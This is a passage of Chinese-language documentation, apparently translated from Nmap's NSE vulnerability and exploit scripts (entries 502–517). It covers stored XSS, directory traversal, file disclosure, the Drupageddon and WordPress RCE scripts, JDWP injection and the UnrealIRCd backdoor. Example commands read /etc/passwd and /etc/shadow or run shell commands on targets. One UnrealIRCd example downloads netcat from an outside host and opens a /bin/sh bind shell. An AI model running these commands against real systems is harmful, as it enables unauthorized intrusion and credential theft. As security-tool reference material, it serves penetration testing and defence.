502. http-stored-xss
未过滤的“>”(大于号)。表示存在潜在的 XSS 漏洞。
http-stored-xss.formpaths
包含要利用的表单的页面。例如,{/upload.php、/login.php}。默认值:nil(爬虫模式开启)
http-stored-xss.uploadspaths
反映 POST 数据的页面。例如,{/comments.php、/guestbook.php}。默认值:nil(爬虫模式开启)
http-stored-xss.fieldvalues
脚本将尝试填写表单中找到的每个字段,但由于字段的限制,可能会失败。您可以使用此表手动填写这些字段。例如,{gender = "male", email = "foo@bar.com"}。默认值:{}
http-stored-xss.dbfile
每行包含一个 XSS 向量的纯文本文件的路径。默认值:nil
slaxml.debug
请参阅 slaxml 库的文档。
httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpsspider 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
nmap -p80 --script "http-stored-xss.nse" ip/域名
此脚本分为两个阶段。
1) 将特制的字符串发布到它遇到的每个表单。
2) 遍历整个页面以搜索这些字符串。
如果某个页面上显示的任何字符串没有经过任何适当的 HTML 转义,则表明存在潜在的 XSS 漏洞。
503. http-tplink-dir-traversal
利用存在于多个 TP-Link 无线路由器中的目录遍历漏洞。攻击者可以利用此漏洞远程读取任何配置和密码文件,而无需身份验证。
此漏洞已在型号 WR740N、WR740ND 和 WR2543ND 中得到确认,但有多个型号使用相同的 HTTP 服务器,因此我相信它们也可能存在漏洞。我非常感谢任何帮助确认其他型号中漏洞的信息。
咨询:
http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
其他有趣的文件:
/tmp/topology.cnf(无线配置)
/tmp/ath0.ap_bss(无线加密密钥)
http-tplink-dir-traversal.rfile
要下载的远程文件。默认值:/etc/passwd
http-tplink-dir-traversal.outfile
如果设置,则会将远程文件保存到此位置。
您可能希望与此脚本一起使用的其他参数:
http.useragent - 设置用户代理
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p80 --script "http-tplink-dir-traversal.nse" ip/域名
nmap -p80 -Pn -n --script "http-tplink-dir-traversal.nse" ip/域名
nmap -p80 --script "http-tplink-dir-traversal.nse" --script-args "rfile=/etc/topology.conf" -d -n -Pn ip/域名
504. http-vuln-cve2006-3392
利用 Webmin 中的文件泄露漏洞 (CVE-2006-3392)
1.290 之前的 Webmin 和 1.220 之前的 Usermin 在解码 HTML 之前调用了简化路径函数。这允许读取任意文件,而无需身份验证,使用“..%01”序列绕过“../”目录遍历序列的删除。
http-vuln-cve2006-3392.file
<FILE>。默认值:/etc/passwd
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2006-3392" -p10000 ip/域名
nmap -p80 --script "http-vuln-cve2006-3392" --script-args "http-vuln-cve2006-3392.file=/etc/shadow" ip/域名
505. http-vuln-cve2009-3960
漏洞 cve-2009-3960 又称为 Adobe XML 外部实体注入。
此漏洞允许远程读取本地文件,存在于 BlazeDS 3.2 及更早版本、LiveCycle 8.0.1、8.2.1 和 9.0、LiveCycle Data Services 2.5.1、2.6.1 和 3.0、Flex Data Services 2.0.1 以及 ColdFusion 7.0.2、8.0、8.0.1 和 9.0 中
有关更多信息,请参阅:
http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
https://www.securityfocus.com/bid/38197
Metasploit 模块:auxiliary/scanner/http/adobe_xml_inject
http-vuln-cve2009-3960.root
指向根路径。默认为“/”
http-vuln-cve2009-3960.readfile
要读取的目标文件。默认为“/etc/passwd”
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script=http-vuln-cve2009-3960 --script-args 'http-http-vuln-cve2009-3960.root="/root/"' 192.168.174.145
506. http-vuln-cve2012-1823
检测易受 CVE-2012-1823 攻击的 PHP-CGI 安装,此严重漏洞允许攻击者检索源代码并远程执行代码。
该脚本通过将“?-s”附加到 uri 来使易受攻击的 php-cgi 处理程序返回彩色语法突出显示的源。我们使用模式“<span style=.*><?”来检测易受攻击的安装。
http-vuln-cve2012-1823.uri
URI。默认:/index.php
http-vuln-cve2012-1823.cmd
CMD。默认:uname -a
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2012-1823" ip/域名
nmap -p80 --script "http-vuln-cve2012-1823" --script-args "http-vuln-cve2012-1823.uri=/test.php" ip/域名
507. http-vuln-cve2013-0156
检测易受对象注入、远程命令执行和拒绝服务攻击的 Ruby on Rails 服务器。(CVE-2013-0156)
所有 2.3.15 之前的 Ruby on Rails 版本、3.0.x 之前的 3.0.19、3.1.x 之前的 3.1.10 和 3.2.x 之前的 3.2.11 都存在漏洞。此脚本发送 3 个无害的 YAML 有效负载来检测易受攻击的安装。如果格式错误的对象收到状态 500 响应,则服务器正在处理 YAML 对象,因此很可能存在漏洞。
参考文献:
https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156',
https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ',
http://cvedetails.com/cve/2013-0156/
http-vuln-cve2013-0156.uri
基本路径 URI(默认值:/)。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2013-0156" 192.168.174.132
nmap -sV --script "http-vuln-cve2013-0156" --script-args 'uri="/test/"' 192.168.174.145
508. http-vuln-cve2013-6786
检测 Allegro RomPager Web 服务器中的 URL 重定向和反射型 XSS 漏洞。该漏洞已分配 CVE-2013-6786。
检查足够通用(通过 Referer 标头注入脚本标签),其他一些软件可能也存在相同的漏洞。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -p80 --script "http-vuln-cve2013-6786" ip/域名
509. http-vuln-cve2013-7091
rubina119 于 2013 年 12 月 6 日发布了一个 0 日漏洞,并在 Zimbra 7.2.6 中进行了修补。
该漏洞是一个本地文件包含漏洞,可以从服务器检索任何文件。
目前,我们读取 /etc/passwd 和 /dev/null,并比较长度以确定漏洞。
TODO:添加读取压缩文件的可能性。然后,发送一些有效负载来创建新的邮件帐户。
http-vuln-cve2013-7091.uri
URI。默认值:/zimbra
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2013-7091" 192.168.174.145
nmap -p80 --script "http-vuln-cve2013-7091" --script-args "http-vuln-cve2013-7091=/ZimBra" ip/域名
510. http-vuln-cve2014-3704
漏洞 CVE-2014-3704 也被称为 Drupal 中的“Drupageddon”。已知 Drupal 核心版本 < 7.32 会受到影响。
漏洞允许远程攻击者通过包含精心设计的密钥的数组进行 SQL 注入攻击。
该脚本通过登录表单注入新的 Drupal 管理员用户,然后尝试以此用户身份登录以确定目标是否易受攻击。如果是这种情况,则执行以下利用步骤:
启用允许评估嵌入式 PHP 代码/片段的 PHP 筛选模块,
设置管理员用户使用 PHP 代码的权限,
创建并预览包含有效负载的新文章,
清理:默认情况下,脚本添加/修改的所有数据库记录都会恢复。
漏洞最初由 SektionEins 的 Stefan Horst 发现。
用于在目标上实现 RCE 的利用技术基于 exploit/multi/http/drupal_drupageddon Metasploit 模块。
http-vuln-cve2014-3704.uri
网站上的 Drupal 根目录。默认值:/
http-vuln-cve2014-3704.cmd
要执行的 Shell 命令。默认值:nil
http-vuln-cve2014-3704.cleanup
指示是否将执行清理(删除在利用阶段添加/修改的 DB 记录)。默认值:true
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script "http-vuln-cve2014-3704" --script-args 'http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal"' ip/域名
nmap --script "http-vuln-cve2014-3704" --script-args 'http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false' ip/域名
511. http-vuln-cve2014-8877
利用 Wordpress CM 下载管理器插件中的远程代码注入漏洞 (CVE-2014-8877)。已知 2.0.0 以下版本会受到影响。
CM 下载管理器插件未正确过滤用户输入,这允许远程攻击者通过 cmdownloads/ 的 CMDsearch 参数执行任意 PHP 代码,该代码由 PHP“create_function”函数处理。
该脚本将 PHP system() 函数注入易受攻击的目标,以执行指定的 shell 命令。
http-vuln-cve2014-8877.cmd
要执行的命令。默认值:nil
http-vuln-cve2014-8877.uri
网站上的 Wordpress 根目录。默认值:/
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "http-vuln-cve2014-8877" --script-args 'http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress"' ip/域名
512. http-vuln-cve2017-5689
检测采用英特尔主动管理技术的系统是否容易受到 INTEL-SA-00075 权限提升漏洞 (CVE2017-5689) 的攻击。
此脚本通过尝试使用空白响应参数执行摘要身份验证来确定目标是否容易受到攻击。 如果身份验证成功,则会收到 HTTP 200 响应。
参考文献:
https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p 16992 --script "http-vuln-cve2017-5689" ip/域名
513. http-vuln-wnr1000-creds
WNR 1000 系列中发现了一个漏洞,该漏洞允许攻击者通过路由器界面检索管理员凭据。测试固件版本:V1.0.2.60_60.0.86(最新)和 V1.0.2.54_60.0.82NA
漏洞由 c1ph04 发现。
http-vuln-wnr1000-creds.uri
可找到 passwordrecovered.cgi 脚本的 URI 路径。默认值:/
creds.[service], creds.global
请参阅 creds 库的文档。
vulns.short, vulns.showall
请参阅 vulns 库的文档。
slaxml.debug
请参阅 slaxml 库的文档。
smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
请参阅 smbauth 库的文档。
http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent
请参阅 http 库的文档。
nmap -sV --script "http-vuln-wnr1000-creds" ip/域名 -p80
514. irc-unrealircd-backdoor
通过运行基于时间的命令 (ping) 并检查响应所需的时间,检查 IRC 服务器是否被后门攻击。
irc-unrealircd-backdoor.command 脚本参数可用于在远程系统上运行任意命令。由于此漏洞的性质(输出永远不会返回),我们无法获取命令的输出。但是,它可以用于启动 netcat 监听器,如下所示:
$ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
$ ncat -vv localhost 4444
Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.
pwd
/home/ron/downloads/Unreal3.2-bad
whoami
ron
Metasploit 也可用于利用此漏洞。
除了运行任意命令外,还可以传递 irc-unrealircd-backdoor.kill 脚本参数,该参数会直接终止 UnrealIRCd 进程。
参考:
http://seclists.org/fulldisclosure/2010/Jun/277
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
irc-unrealircd-backdoor.kill
如果设置为 1 或 true,则终止正在运行的后门 UnrealIRCd。
irc-unrealircd-backdoor.wait
执行检查前的等待时间(以秒为单位)。建议设置此值以获得更可靠的检查(100 是理想值)。
irc-unrealircd-backdoor.command
在远程系统上运行的任意命令(但请注意,您不会看到命令的输出)。即使主机没有漏洞,也会始终尝试执行此操作。模式 %IP% 将替换为目标主机的 IP 地址。
nmap -sV --script=irc-unrealircd-backdoor -p6667 192.168.174.132
515. jdwp-exec
尝试利用 Java 的远程调试端口。当远程调试端口保持打开状态时,可以注入 Java 字节码并实现远程代码执行。此脚本滥用此功能来注入和执行 Java 类文件,该文件执行提供的 shell 命令并返回其输出。
该脚本从 nselib/jdwp-class/ 注入 JDWPSystemInfo 类并执行其 run() 方法,该方法接受 shell 命令作为其参数。
jdwp-exec.cmd
在远程系统上执行的命令。
sudo nmap -sT ip/域名 -p 2010 --script=+jdwp-exec --script-args=cmd="date"
516. jdwp-inject
尝试利用 Java 的远程调试端口。当远程调试端口保持打开状态时,可以注入 Java 字节码并实现远程代码执行。此脚本允许注入任意类文件。
注入后,将执行类的 run() 方法。方法 run() 没有参数,预计会返回一个字符串。
您必须通过文件名参数指定要注入的自己的 .class 文件。有关更多信息,请参阅 nselib/data/jdwp-class/README。
jdwp-inject.filename
要注入的 Java .class 文件。
sudo nmap -sT ip/域名 -p 2010 --script=+jdwp-inject --script-args "filename=HelloWorld.class"
517. qconn-exec
尝试确定正在监听的 QNX QCONN 守护进程是否允许未经身份验证的用户执行任意操作系统命令。
QNX 是一种商业类 Unix 实时操作系统,主要面向嵌入式系统市场。QCONN 守护进程是一个服务提供商,为远程 IDE 组件提供支持,例如分析系统信息。QCONN 守护进程默认在端口 8000 上运行。
有关 QNX QCONN 的更多信息,请参阅:
http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html
http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos
http://www.exploit-db.com/exploits/21520
http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec
qconn-exec.cmd
设置要执行的操作系统命令。默认值为“uname -a”。
qconn-exec.timeout
设置超时时间(以秒为单位)。默认值为 30。
qconn-exec.bytes
设置要检索的字节数。默认值为 1024。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script "qconn-exec" --script-args=qconn-exec.timeout=60,qconn-exec.bytes=1024,qconn-exec.cmd="uname -a" -p 8000 ip/域名
smb-vuln-conficker
已演示过。这里不再演示。
smb-vuln-cve2009-3103
已演示过。这里不再演示。
smb-vuln-ms06-025
已演示过。这里不再演示。
smb-vuln-ms07-029
已演示过。这里不再演示。
smb-vuln-ms08-067
已演示过。这里不再演示。
smb-vuln-regsvc-dos
已演示过。这里不再演示。